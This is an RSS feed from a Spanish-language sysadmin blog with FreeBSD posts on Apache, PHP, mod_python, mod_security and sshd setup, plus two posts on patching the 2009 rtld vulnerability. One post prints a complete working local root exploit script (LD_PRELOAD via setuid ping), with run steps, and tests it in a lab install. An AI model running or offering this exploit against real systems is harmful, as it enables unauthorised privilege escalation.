<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>
<channel>
	<title>Jorge Iván Meza Martínez &#187; FreeBSD</title>
	<atom:link href="http://blog.jorgeivanmeza.com/tag/freebsd/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.jorgeivanmeza.com</link>
	<description>The Fire Within Me: &#34;knowledge will set you free&#34;</description>
	<lastBuildDate>Thu, 22 Jul 2010 06:31:20 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=1114</generator>
		<item>
		<title>Actualizando FreeBSD 8.0 para solucionar la vulnerabilidad del rtld (noviembre 30 de 2009)</title>
		<link>http://blog.jorgeivanmeza.com/2009/12/actualizando-freebsd-8-0-para-solucionar-la-vulnerabilidad-del-rtld-noviembre-30-de-2009/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=actualizando-freebsd-8-0-para-solucionar-la-vulnerabilidad-del-rtld-noviembre-30-de-2009</link>
		<comments>http://blog.jorgeivanmeza.com/2009/12/actualizando-freebsd-8-0-para-solucionar-la-vulnerabilidad-del-rtld-noviembre-30-de-2009/#comments</comments>
		<pubDate>Sun, 06 Dec 2009 02:29:14 +0000</pubDate>
		<dc:creator>jimezam</dc:creator>
				<category><![CDATA[Linux/Solaris/BSD]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[FreeBSD]]></category>
		<category><![CDATA[Hipergalaxia]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">http://blog.jorgeivanmeza.com/?p=2182</guid>
		<description><![CDATA[Introducción. Después de reparar manualmente la vulnerabilidad del rtld, se me ocurrió investigar un poco acerca de como actualizar FreeBSD (ojalá a través de sus canales estándar) de manera que se solucione el problema y de paso mantener al día el sistema operativo de otras vulnerabilidades que uno no necesariamente se de por enterado, es [...]]]></description>
			<content:encoded><![CDATA[<h2>Introducción.</h2>
<p>Después de <a href="http://blog.jorgeivanmeza.com/2009/12/parchando-freebsd-8-0-contra-la-vulnerabilidad-del-rtld-noviembre-30-de-2009/" target="_blank">reparar manualmente</a> la vulnerabilidad del <span style="font-family: courier new,courier;">rtld</span>, se me ocurrió investigar un poco acerca de como actualizar FreeBSD (ojalá a través de sus canales estándar) de manera que se solucione el problema y de paso mantener al día el sistema operativo de otras vulnerabilidades que uno no necesariamente se de por enterado, es decir, algo similar al <span style="font-family: courier new,courier;">apt-get/aptitude safe-upgrade</span> de Debian/Ubuntu y similares.</p>
<h2>Actualización de seguridad.</h2>
<p>Este método descarga e instala los últimos parches de seguridad existentes para la distribución.</p>
<p><span style="font-family: courier new,courier;"># freebsd-update fetch</span></p>
<p><span style="font-family: courier new,courier;"># freebsd-update install</span></p>
<p>En términos de la vulnerabilidad que nos ocupa el resultado es el mismo del procedimiento anterior: el <em>exploit</em> ya no es funcional porque la vulnerabilidad ha sido reparada, además de algunas otras adicionales.</p>
<h2>Enlaces.</h2>
<ul>
<li>FreeBSD Update - Security Patches.<br />
<a href="http://www.freebsd.org/doc/en/books/handbook/updating-freebsdupdate.html" target="_blank">http://www.freebsd.org/doc/en/books/handbook/updating-freebsdupdate.html</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.jorgeivanmeza.com/2009/12/actualizando-freebsd-8-0-para-solucionar-la-vulnerabilidad-del-rtld-noviembre-30-de-2009/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Parchando FreeBSD 8.0 contra la vulnerabilidad del rtld (noviembre 30 de 2009)</title>
		<link>http://blog.jorgeivanmeza.com/2009/12/parchando-freebsd-8-0-contra-la-vulnerabilidad-del-rtld-noviembre-30-de-2009/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=parchando-freebsd-8-0-contra-la-vulnerabilidad-del-rtld-noviembre-30-de-2009</link>
		<comments>http://blog.jorgeivanmeza.com/2009/12/parchando-freebsd-8-0-contra-la-vulnerabilidad-del-rtld-noviembre-30-de-2009/#comments</comments>
		<pubDate>Sun, 06 Dec 2009 01:49:31 +0000</pubDate>
		<dc:creator>jimezam</dc:creator>
				<category><![CDATA[Linux/Solaris/BSD]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[FreeBSD]]></category>
		<category><![CDATA[Hipergalaxia]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">http://blog.jorgeivanmeza.com/?p=2179</guid>
		<description><![CDATA[Introducción. Hace un par de días instalé un FreeBSD 8.0 para probar el exploit de día cero que se aprovechaba de una vulnerabilidad del rtld con el cual un usuario local obtiene fácilmente los privilegios de administrador o root. Un ataque o amenaza de día cero o zero day significa que se aprovecha de una [...]]]></description>
			<content:encoded><![CDATA[<h2>Introducción.</h2>
<p>Hace un par de días instalé un FreeBSD 8.0 para probar el <em>exploit</em> de día cero que se aprovechaba de una vulnerabilidad del <span style="font-family: courier new,courier;">rtld</span> con el cual un usuario local obtiene fácilmente los privilegios de administrador o <span style="font-family: courier new,courier;">root</span>.</p>
<p>Un ataque o amenaza de día cero o <a href="http://en.wikipedia.org/wiki/Zero_day_attack" target="_blank">zero day</a> significa que se aprovecha de una vulnerabilidad del sistema que ha sido descubierta en lo salvaje pero que aún no ha sido conocida por el desarrollador o aún no se ha publicado una solución para la misma, haciendo a este tipo de <em>exploits</em> muy graves para los usuarios.</p>
<p>Hoy volví a revisar el tema buscando que soluciones se le habían dado y encontré que se ha liberado un <a href="http://people.freebsd.org/~cperciva/rtld.patch" target="_blank">parche</a> para solucionar este problema.  A continuación describo los pasos que seguí para la instalación del parche.</p>
<h2>Instalación del parche.</h2>
<h3>Requerimientos.</h3>
<p>Es necesario contar con las fuentes de los paquetes <span style="font-family: courier new,courier;">libexec</span> y <span style="font-family: courier new,courier;">lib</span>.  Estas se pueden instalar fácilmente desde el CDROM de la instalación base utilizando la aplicación <span style="font-family: courier new,courier;">sysinstall</span>.  Para mayor información consultar este <a href="http://www.cyberciti.biz/faq/freebsd-install-kernel-source-code/" target="_blank">artículo</a>.</p>
<h3>Procedimiento.</h3>
<p><span style="font-family: courier new,courier;"># mkdir /root/parche &amp;&amp; cd /root/parche<br />
</span></p>
<p><span style="font-family: courier new,courier;"># fetch http://security.FreeBSD.org/patches/SA-09:16/rtld.patch</span></p>
<p><span style="font-family: courier new,courier;"># fetch http://security.FreeBSD.org/patches/SA-09:16/rtld.patch.asc</span></p>
<p><span style="font-family: courier new,courier;"># cd /usr/src</span></p>
<p><span style="font-family: courier new,courier;"># patch &lt; /root/parche</span></p>
<p><span style="font-family: courier new,courier;"># cd /usr/src/libexec/rtld-elf</span></p>
<p><span style="font-family: courier new,courier;"># make obj &amp;&amp; make depend &amp;&amp; make &amp;&amp; make install</span></p>
<p><span style="font-family: courier new,courier;"># reboot</span></p>
<h2>Prueba.</h2>
<p>Después de reiniciar el servidor, ingresé nuevamente como un usuario sin privilegios e intenté ejecutar el <em>exploit</em> de la misma manera <a href="http://blog.jorgeivanmeza.com/2009/12/probando-la-vulnerabilidad-de-freebsd-8-0-noviembre-30-de-2009/" target="_blank">como se hizo anteriormente</a>.  La ejecución falló y obtuve un resultado completamente distinto después de la instalación del parche.</p>
<p><a href="http://blog.jorgeivanmeza.com/wp-content/uploads/2009/12/screenshot_004.png"><img class="aligncenter size-full wp-image-2180" title="screenshot_004" src="http://blog.jorgeivanmeza.com/wp-content/uploads/2009/12/screenshot_004.png" alt="screenshot_004" width="720" height="210" /></a></p>
<h2>Enlaces.</h2>
<ul>
<li>FreeBSD Security Advisory FreeBSD-SA-09:16.rtld.<br />
<a href="http://lists.freebsd.org/pipermail/freebsd-security/2009-December/005416.html" target="_blank">http://lists.freebsd.org/pipermail/freebsd-security/2009-December/005416.html</a></li>
<li>How do I install FreeBSD kernel source code?<br />
<a href="http://www.cyberciti.biz/faq/freebsd-install-kernel-source-code/" target="_blank">http://www.cyberciti.biz/faq/freebsd-install-kernel-source-code/</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.jorgeivanmeza.com/2009/12/parchando-freebsd-8-0-contra-la-vulnerabilidad-del-rtld-noviembre-30-de-2009/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Probando la vulnerabilidad de FreeBSD 8.0 (noviembre 30 de 2009)</title>
		<link>http://blog.jorgeivanmeza.com/2009/12/probando-la-vulnerabilidad-de-freebsd-8-0-noviembre-30-de-2009/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=probando-la-vulnerabilidad-de-freebsd-8-0-noviembre-30-de-2009</link>
		<comments>http://blog.jorgeivanmeza.com/2009/12/probando-la-vulnerabilidad-de-freebsd-8-0-noviembre-30-de-2009/#comments</comments>
		<pubDate>Wed, 02 Dec 2009 06:08:45 +0000</pubDate>
		<dc:creator>jimezam</dc:creator>
				<category><![CDATA[Linux/Solaris/BSD]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[FreeBSD]]></category>
		<category><![CDATA[Hipergalaxia]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">http://blog.jorgeivanmeza.com/?p=2165</guid>
		<description><![CDATA[Introducción. El día de ayer me enteré que habían descubierto una vulnerabilidad en FreeBSD, mas específicamente en editor de enlace en tiempo real (rtld) que le permite a cualquier usuario local convertirse en root. Este fallo afecta a las versiones 7.1 y 8 (Amnesiac) de FreeBSD. La presente es una prueba, rápida y sencilla del [...]]]></description>
			<content:encoded><![CDATA[<h2>Introducción.</h2>
<p>El día de ayer me enteré que habían descubierto una vulnerabilidad en FreeBSD, mas específicamente en editor de enlace en tiempo real (<span style="font-family: courier new,courier;">rtld</span>) que le permite a cualquier usuario local convertirse en <span style="font-family: courier new,courier;">root</span>.</p>
<p>Este fallo afecta a las versiones 7.1 y 8 (Amnesiac) de FreeBSD.</p>
<p>La presente es una prueba, rápida y sencilla del <em>exploit</em> para ver como funcionaba.</p>
<h2>Instalación.</h2>
<p>Descargué la imagen ISO del disco #1 de FreeBSD versión 8 del siguiente enlace.</p>
<p style="padding-left: 30px;"><a href="ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/ISO-IMAGES/8.0/" target="_blank">ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/ISO-IMAGES/8.0/</a></p>
<p>En el momento de instalarlo es necesario incluír el soporte para el desarrollo de aplicaciones en C ya que es necesario compilar y enlazar un pequeño programa con <span style="font-family: courier new,courier;">gcc</span>.</p>
<h2>Ejecución.</h2>
<p>Ingrese como un usuario sin privilegios en el sistema, en mi caso, el usuario <span style="font-family: courier new,courier;">jimezam</span> el cual ni siquiera puede intentar convertirse en <span style="font-family: courier new,courier;">root</span> mediante la invocación a <span style="font-family: courier new,courier;">su</span>.</p>
<p><a href="http://blog.jorgeivanmeza.com/wp-content/uploads/2009/12/screenshot_001.png"><img class="aligncenter size-full wp-image-2166" title="screenshot_001" src="http://blog.jorgeivanmeza.com/wp-content/uploads/2009/12/screenshot_001.png" alt="screenshot_001" width="529" height="83" /></a></p>
<p>Cree u obtenga el archivo <span style="font-family: courier new,courier;"><a href="http://blog.jorgeivanmeza.com/wp-content/uploads/2009/12/w00t.sh.txt" target='_blank'>w00t.sh</a></span> con el código fuente del <em>exploit</em>, dispuesto a continuación.</p>
<pre class="c">#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat &gt; env.c &lt;&lt; _EOF
#include &lt;stdio.h&gt;
main() {
 extern char **environ;
 environ = (char**)malloc(8096);
 environ[0] = (char*)malloc(1024);
 environ[1] = (char*)malloc(1024);
 strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");
 execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat &gt; program.c &lt;&lt; _EOF
#include &lt;unistd.h&gt;
#include &lt;stdio.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;stdlib.h&gt;
void _init() {
 extern char **environ;
 environ=NULL;
 system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env</pre>
<p>Modifique su permiso de ejecución.</p>
<p><span style="font-family: courier new,courier;">$ chmod +x w00t.sh</span></p>
<p>Invoque el <em>script</em>.</p>
<p><a href="http://blog.jorgeivanmeza.com/wp-content/uploads/2009/12/screenshot_002.png"><img class="aligncenter size-full wp-image-2168" title="screenshot_002" src="http://blog.jorgeivanmeza.com/wp-content/uploads/2009/12/screenshot_002.png" alt="screenshot_002" width="720" height="305" /></a></p>
<p>Note como el usuario propietario de la sesión ha obtenido privilegios de administrador.</p>
<p><a href="http://blog.jorgeivanmeza.com/wp-content/uploads/2009/12/screenshot_003.png"><img class="aligncenter size-full wp-image-2169" title="screenshot_003" src="http://blog.jorgeivanmeza.com/wp-content/uploads/2009/12/screenshot_003.png" alt="screenshot_003" width="637" height="34" /></a></p>
<p>El <em>bug</em> ha sido entonces exitosamente explotado.</p>
<h2>Enlaces.</h2>
<ul>
<li>FreeBSD local r00t zeroday.<br />
<a href="http://seclists.org/fulldisclosure/2009/Nov/371" target="_blank">http://seclists.org/fulldisclosure/2009/Nov/371</a></li>
<li>FreeBSD - The power to serve.<br />
<a href="http://www.freebsd.org/" target="_blank">http://www.freebsd.org/</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.jorgeivanmeza.com/2009/12/probando-la-vulnerabilidad-de-freebsd-8-0-noviembre-30-de-2009/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Instalación de Python 2.5.x y mod_python 3.x en FreeBSD 7.x</title>
		<link>http://blog.jorgeivanmeza.com/2008/05/instalacion-de-python-25x-y-mod_python-3x-en-freebsd-7x/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=instalacion-de-python-25x-y-mod_python-3x-en-freebsd-7x</link>
		<comments>http://blog.jorgeivanmeza.com/2008/05/instalacion-de-python-25x-y-mod_python-3x-en-freebsd-7x/#comments</comments>
		<pubDate>Tue, 27 May 2008 19:27:41 +0000</pubDate>
		<dc:creator>jimezam</dc:creator>
				<category><![CDATA[Linux/Solaris/BSD]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[FreeBSD]]></category>
		<category><![CDATA[mod_python]]></category>
		<category><![CDATA[Python]]></category>
		<guid isPermaLink="false">http://www.jorgeivanmeza.com/blog/?p=351</guid>
		<description><![CDATA[Instalación del intérprete de Python. # cd /usr/ports/lang/python # make install clean THREADS UCS4 PYMALLOC IPV6 # python -V Python 2.5.2 Instalación de mod_python. # cd /usr/ports/lang/mod_python3 # make install clean Configuración de Apache con mod_python. # vi /usr/local/etc/apache22/httpd.conf LoadModule python_module libexec/apache22/mod_python.so PythonOption mod_python.mutex_directory "/tmp" PythonOption mod_python.mutex_locks 8 &#60;Directory "/home/web"&#62; AddHandler mod_python .py PythonHandler pythontest [...]]]></description>
			<content:encoded><![CDATA[<p>Instalación del intérprete de <a href="http://www.python.org/" target="_blank">Python</a>.</p>
<pre># cd /usr/ports/lang/python
# make install clean</pre>
<pre>    THREADS
    UCS4
    PYMALLOC
    IPV6</pre>
<pre># python -V</pre>
<pre>    Python 2.5.2</pre>
<p>Instalación de <a href="http://www.modpython.org/" target="_blank">mod_python</a>.</p>
<pre># cd /usr/ports/lang/mod_python3</pre>
<pre># make install clean</pre>
<p>Configuración de <strong>Apache </strong>con <strong>mod_python</strong>.</p>
<pre># vi /usr/local/etc/apache22/httpd.conf</pre>
<pre>    LoadModule python_module libexec/apache22/mod_python.so
    PythonOption mod_python.mutex_directory "/tmp"
    PythonOption mod_python.mutex_locks 8</pre>
<pre>    &lt;Directory "/home/web"&gt;
        AddHandler mod_python .py
        PythonHandler pythontest
        PythonDebug On
    &lt;/Directory&gt;</pre>
<p>Recuérdese que el <strong>DOCUMENT_ROOT </strong>del servidor es &#8220;<span style="font-family: courier new,courier;">/home/web</span>&#8220;.</p>
<p>A continuación se creará el siguiente archivo ubicado en <span style="font-family: courier new,courier;">/home/web/pythontest.py</span> para verificar el funcionamiento del módulo.</p>
<pre># vi /home/web/pythontest.py</pre>
<pre>from mod_python import apache
import datetime
def handler(req):
    today = datetime.date.today()
    req.content_type = "text/plain"
    req.write("Hello, today is " + str(today.day) + "/" + str(today.month) + "/" + str(today.year) + ".")
    return apache.OK</pre>
<p>Si se consulta el sitio <span style="font-family: courier new,courier;">http://webserver.mydomain.com/pythontest.py</span> deberá obtenerse una respuesta similar a la mostrada a continuación.</p>
<pre>    Hello, today is 27/5/2008.</pre>
<p>Si se intenta ejecutar cualquier otro programa <span style="font-family: courier new,courier;">.py</span> ubicado en el mismo directorio (<span style="font-family: courier new,courier;">/home/web</span>) se obtendrá siempre la misma respuesta ya que en la configuración de Apache se especificó que ese archivo (<span style="font-family: courier new,courier;">pythontest.py</span>) sería quien manipulase los archivos Python en ese directorio.  Para permitir el acceso de otros programas desde la misma ubicación se deberán utilizar manipuladores (<em>handlers</em>) especiales como <a href="http://www.modpython.org/live/current/doc-html/hand-pub.html" target="_blank">mod_python.Publisher</a>, <a href="http://www.astro.umass.edu/~dpopowich/python/mpservlets/" target="_blank">mpservlets</a> o <a href="http://www.dscpl.com.au/projects/vampire/" target="_blank">Vampire</a>.</p>
<p>Enalces.</p>
<ul>
<li><a href="http://www.python.org/" target="_blank">Lenguaje de programación Python</a>.</li>
<li><a href="http://www.modpython.org/" target="_blank">mod_python</a>.</li>
<li><a href="http://www.modpython.org/live/current/doc-html/inst-installing.html" target="_blank">Instalación de mod_python</a> (<a href="http://www.modpython.org/live/current/doc-html/" target="_blank">documentación en general</a>).</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.jorgeivanmeza.com/2008/05/instalacion-de-python-25x-y-mod_python-3x-en-freebsd-7x/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Instalación de mod_security 2.1.7_1  en FreeBSD 7.x</title>
		<link>http://blog.jorgeivanmeza.com/2008/05/instalacion-de-mod_security-modsecurity-217_1-en-freebsd-7x/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=instalacion-de-mod_security-modsecurity-217_1-en-freebsd-7x</link>
		<comments>http://blog.jorgeivanmeza.com/2008/05/instalacion-de-mod_security-modsecurity-217_1-en-freebsd-7x/#comments</comments>
		<pubDate>Tue, 27 May 2008 03:51:10 +0000</pubDate>
		<dc:creator>jimezam</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Linux/Solaris/BSD]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[FreeBSD]]></category>
		<category><![CDATA[mod_security]]></category>
		<guid isPermaLink="false">http://www.jorgeivanmeza.com/blog/?p=350</guid>
		<description><![CDATA[# cd /usr/ports/www/mod_security2 # make install clean # vi /usr/local/etc/apache22/httpd.conf LoadFile /usr/local/lib/libxml2.so LoadModule mod_security2 libexec/apache22/mod_security2.so &#60;IfModule security2_module&#62; SecRuleEngine On &#60;/IfModule&#62; # /usr/local/etc/rc.d/apache22 restart Nota: la instalación con la versión 2.1.3 no se pudo realizar ya que el Makefile no realizaba correctamente el enlace con libxml2 y fallaban las reglas que requerían procesamiento de XML. Se [...]]]></description>
			<content:encoded><![CDATA[<pre># cd /usr/ports/www/mod_security2</pre>
<pre># make install clean</pre>
<pre># vi /usr/local/etc/apache22/httpd.conf</pre>
<pre style="padding-left: 30px;">LoadFile /usr/local/lib/libxml2.so
LoadModule mod_security2    libexec/apache22/mod_security2.so
&lt;IfModule security2_module&gt;
    SecRuleEngine On
&lt;/IfModule&gt;</pre>
<pre># /usr/local/etc/rc.d/apache22 restart</pre>
<p><strong>Nota</strong>: la instalación con la versión 2.1.3 no se pudo realizar ya que el Makefile no realizaba correctamente el enlace con libxml2 y fallaban las reglas que requerían procesamiento de XML.  Se recomienda <a href="http://www.freshports.org/www/mod_security2" target="_blank">actualizar a una versión superior</a>.</p>
<p>El siguiente paso consiste en configurar las <a href="http://www.modsecurity.org/projects/rules/index.html" target="_blank">reglas de seguridad</a> que apliquen a su negocio.  Para esto edite apropiadamente los siguientes archivos bajo la ruta <span style="font-family: courier new,courier;">/usr/local/etc/apache22/Includes</span>.</p>
<ul>
<li><span style="font-family: courier new,courier;">mod_security2.conf</span></li>
<li><span style="font-family: courier new,courier;">no-accf.conf</span></li>
<li><span style="font-family: courier new,courier;">mod_security2/   (directorio de reglas)</span></li>
</ul>
<p>Enlaces</p>
<ul>
<li><a href="http://www.modsecurity.org/documentation/modsecurity-apache/2.5.4/html-multipage/" target="_blank">Manual de referencia</a> (<a href="http://www.modsecurity.org/documentation/index.html" target="_blank">documentación</a>).</li>
<li><a href="http://www.gotroot.com/tiki-index.php?page=mod_security+rules" target="_blank">Reglas de GotRoot</a>.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.jorgeivanmeza.com/2008/05/instalacion-de-mod_security-modsecurity-217_1-en-freebsd-7x/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Configuración básica de SSHD con FreeBSD 7.x</title>
		<link>http://blog.jorgeivanmeza.com/2008/05/configuracion-basica-de-sshd-con-freebsd-7x/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=configuracion-basica-de-sshd-con-freebsd-7x</link>
		<comments>http://blog.jorgeivanmeza.com/2008/05/configuracion-basica-de-sshd-con-freebsd-7x/#comments</comments>
		<pubDate>Tue, 27 May 2008 00:24:58 +0000</pubDate>
		<dc:creator>jimezam</dc:creator>
				<category><![CDATA[Linux/Solaris/BSD]]></category>
		<category><![CDATA[FreeBSD]]></category>
		<category><![CDATA[SSH]]></category>
		<guid isPermaLink="false">http://www.jorgeivanmeza.com/blog/?p=349</guid>
		<description><![CDATA[# vi /etc/ssh/sshd_config Port 22 Protocol 2 SyslogFacility AUTH LogLevel INFO LoginGraceTime 2m PermitRootLogin no Subsystem    sftp    /usr/libexec/sftp-server # /etc/rc.d/sshd restart]]></description>
			<content:encoded><![CDATA[<pre># vi /etc/ssh/sshd_config</pre>
<pre style="padding-left: 30px;">Port 22
Protocol 2
SyslogFacility AUTH
LogLevel INFO
LoginGraceTime 2m
PermitRootLogin no
Subsystem    sftp    /usr/libexec/sftp-server</pre>
<pre># /etc/rc.d/sshd restart</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.jorgeivanmeza.com/2008/05/configuracion-basica-de-sshd-con-freebsd-7x/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Configurando Apache 2.2.x/PHP 5.2.x con FastCGI mod_fcgid en FreeBSD 7.x</title>
		<link>http://blog.jorgeivanmeza.com/2008/05/configurando-apache-22xphp-52x-con-fastcgi-mod_fcgid-en-freebsd-7x/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=configurando-apache-22xphp-52x-con-fastcgi-mod_fcgid-en-freebsd-7x</link>
		<comments>http://blog.jorgeivanmeza.com/2008/05/configurando-apache-22xphp-52x-con-fastcgi-mod_fcgid-en-freebsd-7x/#comments</comments>
		<pubDate>Mon, 26 May 2008 22:10:00 +0000</pubDate>
		<dc:creator>jimezam</dc:creator>
				<category><![CDATA[Linux/Solaris/BSD]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[FreeBSD]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">http://www.jorgeivanmeza.com/blog/?p=346</guid>
		<description><![CDATA[Descargar compilar e instalar el paquete mod_fcgid y sus posibles dependencias. # cd /usr/ports/www/mod_fcgid # make install clean Verificar que la instalación de PHP cuente con el soporte de FastCGI. # /usr/local/bin/php-cgi -v Configurar a Apache para que utilice el nuevo módulo de FCGI. # vi /usr/local/etc/apache22/httpd.conf Agregar al final del archivo httpd.conf. LoadModule fcgid_module [...]]]></description>
			<content:encoded><![CDATA[<p>Descargar compilar e instalar el paquete <strong>mod_fcgid</strong> y sus posibles dependencias.</p>
<pre># cd /usr/ports/www/mod_fcgid</pre>
<pre># make install clean</pre>
<p>Verificar que la instalación de PHP cuente con el soporte de <a href="http://en.wikipedia.org/wiki/FastCGI" target="_blank">FastCGI</a>.</p>
<pre># /usr/local/bin/php-cgi -v</pre>
<p style="text-align: center;"><a href="http://www.jorgeivanmeza.com/blog/wp-content/uploads/2008/05/php-cgi-v.png"><img class="alignnone size-full wp-image-347 aligncenter" title="php-cgi-v" src="http://www.jorgeivanmeza.com/blog/wp-content/uploads/2008/05/php-cgi-v.png" alt="" width="500" height="34" /></a></p>
<p>Configurar a <strong>Apache </strong>para que utilice el nuevo módulo de FCGI.</p>
<pre># vi /usr/local/etc/apache22/httpd.conf</pre>
<p>Agregar al final del archivo <strong>httpd.conf</strong>.</p>
<pre>LoadModule fcgid_module libexec/apache22/mod_fcgid.so
&lt;IfModule mod_fcgid.c&gt;
    AddHandler fcgid-script .fcgi
    FCGIWrapper /usr/local/bin/php-cgi .php
&lt;/IfModule&gt;</pre>
<p>Ubicar la sección del directorio del <strong>DOCUMENT_ROOT</strong> y complementarla con la nueva opción.</p>
<pre>&lt;Directory "/home/web"&gt;
    # ...
    Options ExecCGI
&lt;/Directory&gt;</pre>
<p>Reiniciar el servicio de <strong>Apache</strong> para que se tengan en cuenta los cambios realizados.</p>
<pre># /usr/local/etc/rc.d/apache22 restart</pre>
<p>Consultar la salida de <strong>phpinfo()</strong> para verificar su correcto funcionamiento.</p>
<p><a href="http://www.jorgeivanmeza.com/blog/wp-content/uploads/2008/05/fcgid-phpinfo.png"><img class="aligncenter size-full wp-image-348" title="fcgid-phpinfo" src="http://www.jorgeivanmeza.com/blog/wp-content/uploads/2008/05/fcgid-phpinfo.png" alt="" width="500" height="146" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.jorgeivanmeza.com/2008/05/configurando-apache-22xphp-52x-con-fastcgi-mod_fcgid-en-freebsd-7x/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Instalación de PHP 5.x CGI en FreeBSD 7</title>
		<link>http://blog.jorgeivanmeza.com/2008/05/instalacion-de-php-5x-cgi-en-freebsd-7/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=instalacion-de-php-5x-cgi-en-freebsd-7</link>
		<comments>http://blog.jorgeivanmeza.com/2008/05/instalacion-de-php-5x-cgi-en-freebsd-7/#comments</comments>
		<pubDate>Wed, 21 May 2008 04:37:26 +0000</pubDate>
		<dc:creator>jimezam</dc:creator>
				<category><![CDATA[Linux/Solaris/BSD]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[FreeBSD]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">http://www.jorgeivanmeza.com/blog/?p=329</guid>
		<description><![CDATA[Descargar, compilar e instalar la última versión de la distribución de PHP5. Remover los archivos binarios resultantes de la compilación después de instalar. # cd /usr/ports/lang/php5 # make config CLI CGI SUHOSIN MULTIBYTE IPV6 FASTCGI PATHINFO # make install clean Compilar e instalar las extensiones de PHP que se consideren necesarias. El sistema de ports [...]]]></description>
			<content:encoded><![CDATA[<p>Descargar, compilar e instalar la última versión de la distribución de PHP5.  Remover los archivos binarios resultantes de la compilación después de instalar.</p>
<pre># cd /usr/ports/lang/php5
# make config</pre>
<pre style="padding-left: 30px;">CLI
CGI
SUHOSIN
MULTIBYTE
IPV6
FASTCGI
PATHINFO</pre>
<pre># make install clean</pre>
<p>Compilar e instalar las extensiones de PHP que se consideren necesarias.  El sistema de <em>ports</em> descargará e instalará cualquier paquete adicional que se requiera como dependencia de las extensiones elegidas.</p>
<pre># cd /usr/ports/lang/php5-extensions</pre>
<pre># make config</pre>
<pre style="padding-left: 30px;">BCMATH
BZ2
CALENDAR
CTYPE
CURL
DOM
EXIF
FILTER
FTP
GD
GETTEXT
HASH
ICONV
IMAP
JSON
LDAP
MBSTRING
MCRYPT
MHASH
MING
MSSQL
MYSQL
MYSQLI
NCURSES
ODBC
OPENSSL
PCRE
PDF
PDO
PDO_SQLITE
PGSQL
POSIX
READLINE
SESSION
SIMPLE_XML
SOAP
SOCKETS
SPL
SQLITE
TIDY
TOKENIZER
WDDX
XML
XMLREADER
XMLRPC
XMLWRITER
XSL
ZIP
ZLIB</pre>
<pre># make install clean</pre>
<p>Modificar el archivo de configuración de Apache (<span style="font-family: courier new,courier;">httpd.conf</span>) para especificar como manejar los archivos con la extensión <em>.php</em>.</p>
<pre># vi /usr/local/etc/apache22/httpd.conf</pre>
<pre>&lt;IfModule dir_module&gt;
    DirectoryIndex index.php index.html index.htm
&lt;/IfModule&gt;</pre>
<p>Agregar al final de <span style="font-family: courier new,courier;">httpd.conf</span>.</p>
<pre>ScriptAlias /php-cgi "/usr/local/bin/php-cgi"
AddHandler php-handler .php
Action php-handler /php-cgi
&lt;Location "/php-cgi"&gt;
    Options None
    Order allow,deny
    Allow from all
&lt;/Location&gt;</pre>
